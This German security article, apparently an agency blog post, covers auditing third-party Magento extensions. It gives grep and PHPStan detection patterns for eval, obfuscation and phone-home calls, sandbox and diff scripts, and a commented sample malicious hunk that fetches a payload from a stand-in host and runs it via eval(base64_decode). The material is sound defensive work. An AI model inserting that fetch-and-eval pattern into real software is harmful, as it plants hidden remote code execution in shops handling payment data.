Magento-Erweiterungen auf Sicherheitsrisiken prüfen
OWASP
0x00
Security · Magento-Erweiterungen · Supply Chain · Code-Audit
Magento-Erweiterungen auf Sicherheitsrisiken prüfen
Rote Flaggen erkennen, bevor sie zum Vorfall werden

Drittanbieter-Erweiterungen erben dieselben Rechte wie der Magento Core und werden damit zum größten Supply Chain Risiko im Shop. Dieser Artikel zeigt, wie ihr eval und base64 kodierte Payloads erkennt, die Reputation eines Vendors prüft, statische Analyse mit PHPStan einsetzt und neue Erweiterungen in einer isolierten Sandbox testet, bevor sie live gehen.

18 Min. Lesezeit eval · base64 · Phone-Home · Obfuskierung PHPStan · PHP_CodeSniffer · Sandboxing

1. Warum Drittanbieter-Erweiterungen ein Supply-Chain-Risiko sind

In einem typischen Magento-Shop laufen zwanzig bis fünfzig Erweiterungen unterschiedlichster Vendoren gleichzeitig im selben PHP-Prozess wie der Magento-Core. Jede installierte Erweiterung erbt automatisch dieselben Rechte wie der Core: vollen Datenbankzugriff, Zugriff auf Kundendaten, Zahlungsinformationen und Session-Handling. Das ist der Kern des Supply-Chain-Risikos: Die Sicherheit des gesamten Shops sinkt auf das Niveau der unsichersten installierten Erweiterung, unabhängig davon, wie sorgfältig der eigene Code gepflegt wird. Anders als bei einer isolierten Microservice-Architektur gibt es in einem klassischen Magento-Monolithen keine technische Grenze zwischen eigenem Code und Drittanbieter-Code.

Die Codequalität zwischen Marketplace-Erweiterungen schwankt enorm. Manche Vendoren betreiben professionelle Entwicklungsprozesse mit Reviews, Tests und Versionierung, andere liefern einmalig entwickelten Code ohne Wartung nach. Bekannt gewordene Magecart-artige Angriffe auf Magento-Shops nutzten wiederholt genau diesen Weg: nicht eine Schwachstelle im Magento-Core, sondern eine kompromittierte oder bösartig gestaltete Drittanbieter-Erweiterung, die Zahlungsdaten beim Checkout mitliest und an einen externen Server sendet. Ein systematischer Sicherheitsaudit jeder neuen und bestehenden Erweiterung ist deshalb keine Kür, sondern ein Pflichtprogramm für jeden produktiven Magento-Betrieb.

2. Rote Flaggen im Erweiterungscode: eval, base64 und Phone-Home

Vier Codemuster tauchen in bösartigem oder fahrlässig unsicherem Erweiterungscode überproportional häufig auf. Erstens dynamische Codeausführung über eval(), assert() mit String-Argument oder das veraltete create_function(). Diese Funktionen führen zur Laufzeit beliebigen PHP-Code aus einem String aus, was legitime Erweiterungen so gut wie nie benötigen. Zweitens mehrstufige Obfuskierung: Payload-Strings werden mit base64_decode(), gzinflate() oder str_rot13() verschleiert und erst zur Laufzeit dekodiert, oft verkettet über mehrere Funktionsaufrufe, um einfache Textsuche zu umgehen.

Drittens Remote-Code-Nachladen und Phone-Home-Verhalten: Ein Modul lädt bei jedem Seitenaufruf oder per Cron eine Datei von einer externen URL nach und führt sie aus, häufig getarnt als Lizenzprüfung oder Update-Check. Viertens dynamische Funktionsaufrufe über Variablenvariablen wie $$func() oder call_user_func($_GET['f']), die klassische statische Analyse und Textsuche gezielt umgehen. Keines dieser Muster ist per se ein Beweis für Bösartigkeit, Legacy-Kompatibilitätscode nutzt gelegentlich eval() für Template-Compiling. Entscheidend ist der Kontext: Warum genau braucht diese Erweiterung dieses Muster, und lässt sich das nachvollziehen?


#!/usr/bin/env bash
# scan-extension.sh - static red-flag scan for a newly downloaded Magento extension
# Run this BEFORE composer require, against the extracted package directory
set -euo pipefail

TARGET_DIR="${1:-vendor/thirdparty/module-example}"
echo "Scanning ${TARGET_DIR} for common red-flag patterns..."

# Dynamic code execution primitives - legitimate extensions rarely need these
echo "--- eval / assert / create_function ---"
grep -rnE 'eval\s*\(|assert\s*\(\s*\$|create_function\s*\(' \
  --include="*.php" "$TARGET_DIR" || true

# Multi-stage obfuscation: payload strings decoded only at runtime
echo "--- base64 / gzip / rot13 obfuscation chains ---"
grep -rnE 'base64_decode\s*\(|gzinflate\s*\(|gzuncompress\s*\(|str_rot13\s*\(' \
  --include="*.php" "$TARGET_DIR" || true

# Outbound calls that could exfiltrate data or fetch a remote payload
echo "--- remote code fetch / phone-home ---"
grep -rnE 'curl_exec\s*\(|fsockopen\s*\(|file_get_contents\s*\(.{0,20}https?://' \
  --include="*.php" "$TARGET_DIR" || true

# Variable functions and variable variables - hard to trace statically
echo "--- dynamic / variable function calls ---"
grep -rnE '\$\$[a-zA-Z_]+\s*\(|call_user_func\s*\(\s*\$_' \
  --include="*.php" "$TARGET_DIR" || true

echo "Scan complete. Review every match manually before installing."

Ein solcher Scan gehört in jede Prüfroutine vor der Installation und sollte automatisiert bei jedem Composer-Update erneut laufen, weil ein zunächst sauberes Modul über ein späteres Update nachträglich kompromittiert werden kann. Ein einzelner Treffer ist kein automatisches Ausschlusskriterium, aber jeder Treffer verdient eine manuelle Erklärung, bevor die Erweiterung freigegeben wird.

3. Vendor-Reputation und Update-Historie prüfen

Bevor eine Erweiterung überhaupt in den Code-Review geht, lohnt sich ein Blick auf den Vendor selbst. Auf dem Magento Marketplace zählen die Anzahl der Bewertungen, deren Aktualität und vor allem, ob der Vendor auf negative Reviews und Support-Tickets reagiert. Ein Modul mit fünf Jahre alten Fünf-Sterne-Bewertungen und seither keiner einzigen Aktualisierung ist ein Warnsignal, selbst wenn der Notendurchschnitt gut aussieht. Wichtiger als die reine Sternebewertung ist die Update-Frequenz: Ein aktiv gepflegtes Modul reagiert innerhalb weniger Wochen auf neue Magento-Minor-Releases und PHP-Versionswechsel.

Bei Open-Source- oder auf GitHub gespiegelten Erweiterungen liefert die Commit-Historie zusätzliche Signale: Wie viele Maintainer sind aktiv, wie schnell werden gemeldete Issues geschlossen, gibt es Security Advisories über GitHub Security Advisories oder die National Vulnerability Database (NVD)? Eine Suche nach dem Vendor- und Modulnamen in Kombination mit "CVE" oder eine Prüfung über cve.mitre.org zeigt, ob in der Vergangenheit bereits Schwachstellen gemeldet wurden und wie schnell der Vendor gepatcht hat. Ein CVE allein disqualifiziert eine Erweiterung nicht, ein CVE ohne zeitnahen Patch dagegen schon.


{
    "require": {
        "php": "~8.4.0",
        "thirdparty/module-example": "3.2.1"
    },
    "extra": {
        "audit-comment": "Pin third-party extensions to an exact, already-audited version. Avoid caret or tilde ranges so an update is never installed silently by composer update."
    }
}

Composer-Versionspinning schützt zusätzlich davor, dass ein automatisches Update stillschweigend eine kompromittierte Version einer sonst vertrauenswürdigen Erweiterung einspielt. composer.lock gehört deshalb zwingend ins Versionskontrollsystem, damit jedes Deployment exakt denselben, bereits geprüften Code ausrollt.

4. Statische Analyse: PHPStan und PHP_CodeSniffer Security-Regeln

Manuelles Code-Lesen skaliert nicht auf zehntausende Zeilen Drittanbieter-Code. Statische Analyse automatisiert die Suche nach den in Abschnitt 2 beschriebenen Mustern. PHPStan ab Level 5 findet zwar primär Typfehler, aber mit der Erweiterung spaze/phpstan-disallowed-calls lässt sich eine Positivliste erzwingen, die eval(), exec(), system(), create_function() und ähnliche Funktionen projektweit als Fehler markiert, auch in Vendor-Code, wenn man vendor/ gezielt in die paths-Konfiguration aufnimmt statt es standardmäßig auszuschließen.

PHP_CodeSniffer mit dem Magento2-Coding-Standard prüft primär Stil, lässt sich aber um eigene Sniffs erweitern, etwa einen Custom-Sniff, der base64_decode in Kombination mit eval im selben Statement als Verstoß meldet. Ergänzend lohnt sich der generische Squiz.PHP.Eval-Sniff, der Standard-eval-Aufrufe direkt meldet. Beide Tools gehören in die CI-Pipeline, nicht nur in den lokalen Editor, damit jede neue oder aktualisierte Erweiterung automatisch gegen dieselben Regeln geprüft wird, bevor sie in einen Deploy-Branch gelangt.


# phpstan.neon - security-focused config for auditing a vendor extension
# Run with: bin/analyse vendor/thirdparty/module-example --level=5
parameters:
    level: 5
    paths:
        - vendor/thirdparty/module-example
    excludePaths:
        - vendor/thirdparty/module-example/Test/*
    disallowedFunctionCalls:
        - function: 'eval()'
          message: 'eval() is not allowed in audited extensions.'
        - function: 'assert()'
          message: 'assert() with a string argument executes arbitrary code.'
        - function: 'create_function()'
          message: 'create_function() is deprecated and behaves like eval().'
        - function: 'exec()'
          message: 'Shell execution is not allowed in a Magento extension.'
includes:
    - vendor/spaze/phpstan-disallowed-calls/extension.neon
    - vendor/spaze/phpstan-disallowed-calls/disallowed-dangerous-calls.neon

5. Sandboxing: Neue Erweiterungen in isolierter Staging-Umgebung testen

Keine statische Analyse ersetzt das Beobachten des tatsächlichen Laufzeitverhaltens. Eine neue Erweiterung sollte grundsätzlich zunächst in einer isolierten Staging-Umgebung installiert werden, die vom Produktivsystem und von echten Kundendaten getrennt ist. Diese Umgebung sollte mit synthetischen Testdaten arbeiten, keinen Zugriff auf produktive Zahlungsanbieter-Credentials haben und den ausgehenden Netzwerkverkehr protokollieren oder sogar aktiv einschränken, etwa über eine Docker-Netzwerk-Policy oder eine explizite Egress-Firewall-Regel.

Während des Tests lohnt es sich, mit tcpdump oder einem transparenten Proxy wie mitmproxy alle ausgehenden Verbindungen mitzuschneiden, während typische Admin- und Storefront-Aktionen durchgespielt werden: Produkt anlegen, Checkout durchlaufen, Cron-Jobs manuell auslösen. Jede Verbindung zu einer unbekannten Domain, die nicht zum dokumentierten Funktionsumfang der Erweiterung gehört, ist ein Untersuchungsgrund. Erst nach mehreren Tagen unauffälligem Betrieb in der Sandbox, inklusive eines vollständigen Cron-Zyklus, sollte die Freigabe für die Produktivumgebung erfolgen.


#!/usr/bin/env bash
# staging-sandbox.sh - spin up an isolated Magento staging container to test a new extension
set -euo pipefail

CONTAINER_NAME="magento-extension-sandbox"
NETWORK_NAME="sandbox-net"

# Isolated network with no route to the production database or payment gateways
docker network create --internal "$NETWORK_NAME" 2>/dev/null || true

docker run -d \
  --name "$CONTAINER_NAME" \
  --network "$NETWORK_NAME" \
  -e MAGENTO_MODE=developer \
  -e PAYMENT_GATEWAY_CREDENTIALS=sandbox-only \
  -v "$(pwd)/staging-data:/var/www/html" \
  markoshust/magento-nginx:latest

# Capture all outbound traffic from the sandbox while testing admin and storefront flows
docker run --rm --net="container:${CONTAINER_NAME}" nicolaka/netshoot \
  tcpdump -i any -w /tmp/extension-sandbox.pcap &

echo "Sandbox running on an isolated network. Import synthetic test data only."
echo "Trigger every cron job manually once: bin/magento cron:run"
echo "Inspect /tmp/extension-sandbox.pcap for connections to unexpected hosts."

6. Code-Diffing bei Updates: Was hat sich wirklich geändert?

Der erste Sicherheitscheck einer Erweiterung ist nur die halbe Miete, denn Vendoren können mit jedem Update neuen Code einschleusen, auch nachträglich in ein zuvor sauberes Modul. Ein Update sollte deshalb nie blind per composer update eingespielt werden, ohne vorher den tatsächlichen Diff zwischen alter und neuer Version zu betrachten. Wenn der vendor/-Ordner selbst unter Versionskontrolle steht oder zumindest in einem separaten Git-Tracking-Repository gespiegelt wird, liefert git diff zwischen den beiden Composer-Versionen eine vollständige, durchsuchbare Änderungsliste.

Besondere Aufmerksamkeit verdienen Diffs, die neue, scheinbar unmotivierte Funktionsaufrufe wie curl_exec, neue externe Hostnamen oder neu hinzugefügte, stark minifizierte Codeblöcke enthalten, während sich der Rest des Changelogs auf ein kleines Bugfix beschränkt. Ein Umfang-Missverhältnis zwischen dokumentiertem Changelog und tatsächlichem Diff ist eines der zuverlässigsten Warnsignale überhaupt. Automatisierte Diff-Reports in der CI-Pipeline machen diesen Schritt reproduzierbar, statt ihn von der Disziplin einzelner Entwickler abhängig zu machen.


#!/usr/bin/env bash
# diff-extension-update.sh - review exactly what changed before accepting a vendor update
set -euo pipefail

MODULE_PATH="vendor/thirdparty/module-example"

# Compare the currently installed version against the new release before updating
composer show "thirdparty/module-example" --all | grep versions

git diff --no-index \
  ".composer-cache/thirdparty-module-example-3.2.0/${MODULE_PATH}" \
  ".composer-cache/thirdparty-module-example-3.2.1/${MODULE_PATH}" \
  > /tmp/extension-update.diff

grep -nE '^\+.*(curl_exec|base64_decode|eval\(|new_host\.example\.com)' \
  /tmp/extension-update.diff || echo "No obvious red flags in the diff."

# Example of what a suspicious diff hunk looks like:
# +    $license = @file_get_contents('http://update-check.example-cdn.net/lic.php');
# +    if ($license) { eval(base64_decode($license)); }
# A one-line "bugfix" changelog entry with a diff this size is a red flag by itself.

7. Grenzen der Magento-Marketplace-Prüfung

Der Magento Marketplace betreibt ein technisches Review, bevor eine Erweiterung veröffentlicht wird: automatisierte Coding-Standard-Checks, ein Sicherheitsscan gegen bekannte unsichere Funktionen und eine manuelle Stichprobenprüfung. Das reduziert offensichtlich schlechten Code, garantiert aber keine vollständige Sicherheit. Das Review prüft den zum Einreichungszeitpunkt vorliegenden Code, nicht spätere Updates, die außerhalb des ursprünglichen Review-Zyklus über Composer-Repositories oder direkte Downloads ausgeliefert werden.

Gezielt zeitverzögerter oder bedingter Schadcode, der erst nach einem bestimmten Datum, einer bestimmten Kundenanzahl oder nach Erreichen einer bestimmten Lizenzanzahl aktiviert wird, entzieht sich einer einmaligen automatisierten Prüfung fast vollständig. Auch Remote-Code-Nachladen zur Laufzeit lässt sich im Review kaum erkennen, wenn der nachgeladene Payload zum Prüfzeitpunkt noch harmlos ist und erst später ausgetauscht wird. Die Marketplace-Freigabe ist deshalb ein Signal, kein Sicherheitsnachweis, und ersetzt nicht den eigenen Audit-Prozess vor der Installation in einem produktiven Shop.

8. Incident Response: Was tun bei einer bösartigen Erweiterung?

Wird eine bösartige oder kompromittierte Erweiterung im Produktivsystem entdeckt, zählt die Reihenfolge der Reaktion. Erster Schritt: Das betroffene Modul über bin/magento module:disable deaktivieren oder den Shop in den Wartungsmodus versetzen, um weiteren Datenabfluss zu stoppen, ohne vorschnell Beweise zu vernichten. Zweiter Schritt: Alle potenziell exponierten Zugangsdaten rotieren, Admin-Passwörter, API-Keys, Zahlungsanbieter-Credentials und Datenbank-Zugänge, weil eine bösartige Erweiterung mit Core-Rechten grundsätzlich auf alle diese Werte zugreifen konnte.

Danach folgt die forensische Prüfung: die Tabelle admin_user auf unbekannte, nachträglich angelegte Admin-Konten prüfen, cron_schedule und cron_job auf injizierte Jobs untersuchen und den Webserver-Zugriffslog auf ungewöhnliche Anfragemuster im relevanten Zeitraum durchsuchen. Die Wiederherstellung sollte aus einem nachweislich sauberen Backup erfolgen, nicht durch bloßes Löschen der Erweiterung, da Backdoors häufig an anderer Stelle im Dateisystem abgelegt werden. Wenn Zahlungsdaten betroffen sein könnten, greifen PCI-DSS-Meldepflichten gegenüber dem Acquirer und gegebenenfalls den Kartenorganisationen, unabhängig von der Unternehmensgröße.

9. Rote Flaggen im Vergleich: Risiko und Gegenmaßnahme

Die folgende Übersicht fasst die häufigsten roten Flaggen aus der Praxis eines Erweiterungs-Audits den jeweils wirksamen Gegenmaßnahmen gegenüber. Keine einzelne Maßnahme ersetzt die anderen, erst die Kombination aus statischer Analyse, Sandboxing und Vendor-Prüfung ergibt eine belastbare Sicherheitsbewertung.

Rote Flagge Risiko Gegenmaßnahme
eval() / assert() im Code Beliebige Codeausführung zur Laufzeit PHPStan disallowed-calls, CI-Gate
base64/gzinflate-Obfuskierung Versteckter, unlesbarer Payload Grep-basiertes CI-Gate, manueller Review
Unerklärte ausgehende HTTP-Calls Datenexfiltration, Phone-Home Sandbox mit Netzwerk-Monitoring
Kein öffentliches Repository / Historie Keine Nachvollziehbarkeit der Änderungen Vendor-Reputation und CVE-Historie prüfen
Diff-Umfang passt nicht zum Changelog Nachträglich eingeschleuster Schadcode git diff bei jedem Update prüfen

In der Praxis reicht selten eine einzelne rote Flagge für eine endgültige Ablehnung. Ein eval()-Aufruf in einem alten, gut dokumentierten Template-Compiler ist etwas anderes als derselbe Aufruf in einem drei Monate alten Modul ohne öffentliches Repository. Die Bewertung bleibt eine Kombination aus automatisierten Signalen und menschlichem Urteilsvermögen, das mit jedem durchgeführten Audit schärfer wird.

Mironsoft

Extension-Audits, Sandbox-Setups und CI-Sicherheitschecks für Magento-Shops

Drittanbieter-Erweiterungen sicherheitsgeprüft im Einsatz?

Wir auditieren bestehende und neue Magento-Erweiterungen, decken rote Flaggen im Code auf und richten Sandboxing sowie automatisierte Diff-Checks für euren Deployment-Prozess ein.

Code-Audit

Manuelle und automatisierte Prüfung auf eval, Obfuskierung und Phone-Home-Verhalten

Sandbox-Setup

Isolierte Staging-Umgebung mit Netzwerk-Monitoring für neue Erweiterungen

CI-Integration

PHPStan disallowed-calls und Diff-Checks fest in die Pipeline integrieren

10. Zusammenfassung

Die Prüfung von Magento-Erweiterungen auf Sicherheitsrisiken löst ein strukturelles Problem: Drittanbieter-Code läuft mit denselben Rechten wie der Core, deshalb sinkt die Sicherheit des gesamten Shops auf das Niveau der unsichersten installierten Erweiterung. Rote Flaggen wie eval(), base64_decode in Kombination mit gzinflate, unerklärte ausgehende HTTP-Calls und dynamische Funktionsaufrufe lassen sich mit gezielten grep-Scans und statischer Analyse zuverlässig automatisieren. Vendor-Reputation, Marketplace-Bewertungen, GitHub-Aktivität und CVE-Historie liefern zusätzliche Signale, die weit über das reine Preis-Leistungs-Verhältnis einer Erweiterung hinausgehen.

Der entscheidende Hebel liegt in der Wiederholbarkeit: Ein einmaliger Code-Review beim ersten Einsatz reicht nicht, weil Vendoren mit jedem Update neuen Code einschleusen können. Eine isolierte Sandbox mit Netzwerk-Monitoring, ein Diff-Check bei jedem Update und PHPStan- beziehungsweise PHP_CodeSniffer-Regeln in der CI-Pipeline machen den Audit-Prozess reproduzierbar und unabhängig von der Tagesform einzelner Entwickler. Die Magento-Marketplace-Freigabe ersetzt diesen eigenen Prozess nicht, sie ist ein zusätzliches, aber unvollständiges Signal.

Magento-Erweiterungen auf Sicherheitsrisiken prüfen - Das Wichtigste auf einen Blick

Rote Flaggen erkennen

eval, base64_decode+gzinflate, Remote-Code-Nachladen und dynamische Funktionsaufrufe automatisiert scannen, bevor eine Erweiterung installiert wird.

Vendor-Reputation prüfen

Marketplace-Bewertungen, GitHub-Aktivität und CVE-Historie sind bessere Indikatoren als Preis oder Feature-Liste einer Erweiterung.

Statische Analyse

PHPStan mit disallowed-calls und PHP_CodeSniffer-Security-Sniffs in die CI-Pipeline integrieren, auch für vendor/-Code.

Sandbox und Diffing

Neue Erweiterungen isoliert testen, jedes Update vor dem Deploy diffen, Marketplace-Freigabe nicht mit Sicherheitsgarantie verwechseln.

11. FAQ: Magento-Erweiterungen auf Sicherheitsrisiken prüfen

1Was ist das größte Sicherheitsrisiko bei Drittanbieter-Erweiterungen?
Jede Erweiterung läuft mit denselben Rechten wie der Magento-Core und hat vollen Zugriff auf Datenbank, Kundendaten und Zahlungsinformationen. Die Shop-Sicherheit sinkt damit auf das Niveau der unsichersten Erweiterung.
2Wie erkenne ich eval() oder base64_decode in Erweiterungscode?
Ein grep-Scan über vendor/ nach eval(, assert(, base64_decode( in Kombination mit gzinflate( findet die meisten Fälle. Automatisiert vor der Installation und bei jedem Update laufen lassen.
3Ist eine Erweiterung aus dem Magento Marketplace automatisch sicher?
Nein. Das Review prüft nur den Code zum Einreichungszeitpunkt, nicht spätere Updates. Die Freigabe ist ein Signal, kein vollständiger Sicherheitsnachweis.
4Wie prüfe ich die Vertrauenswürdigkeit eines Vendors?
Marketplace-Bewertungen und deren Aktualität, Update-Frequenz, GitHub-Commit-Historie und eine Suche nach gemeldeten CVEs für Vendor- und Modulnamen.
5Welche PHPStan-Regeln helfen bei der Sicherheitsprüfung?
spaze/phpstan-disallowed-calls markiert eval, exec, system und create_function projektweit als Fehler, auch in vendor/, wenn dieser Pfad explizit analysiert wird.
6Warum reicht ein Code-Review vor der Installation nicht aus?
Vendoren können mit jedem Update neuen Code einschleusen. Ohne Diff-Check bei jedem Update bleibt die einmalige Prüfung nur eine Momentaufnahme.
7Wie teste ich eine neue Erweiterung sicher vor Produktion?
In isolierter Staging-Umgebung mit synthetischen Testdaten, ohne produktive Credentials, mit Netzwerk-Mitschnitt via tcpdump oder mitmproxy.
8Was tue ich bei einer bereits produktiven bösartigen Erweiterung?
Modul deaktivieren, alle Zugangsdaten rotieren, admin_user und cron_schedule prüfen, aus sauberem Backup wiederherstellen. Bei Zahlungsdaten greifen PCI-DSS-Meldepflichten.
9Wie diffe ich Erweiterungscode bei einem Update sinnvoll?
vendor/ unter Versionskontrolle halten und git diff zwischen alter und neuer Version laufen lassen. Neue Hostnamen und Umfang-Missverhältnisse zum Changelog sind Warnsignale.
10Welche Tools erkennen Obfuskierung automatisiert?
Grep-basierte CI-Gates, PHPStan disallowed-calls, PHP_CodeSniffer mit Squiz.PHP.Eval sowie Netzwerk-Monitoring in der Sandbox für unsichtbares Laufzeitverhalten.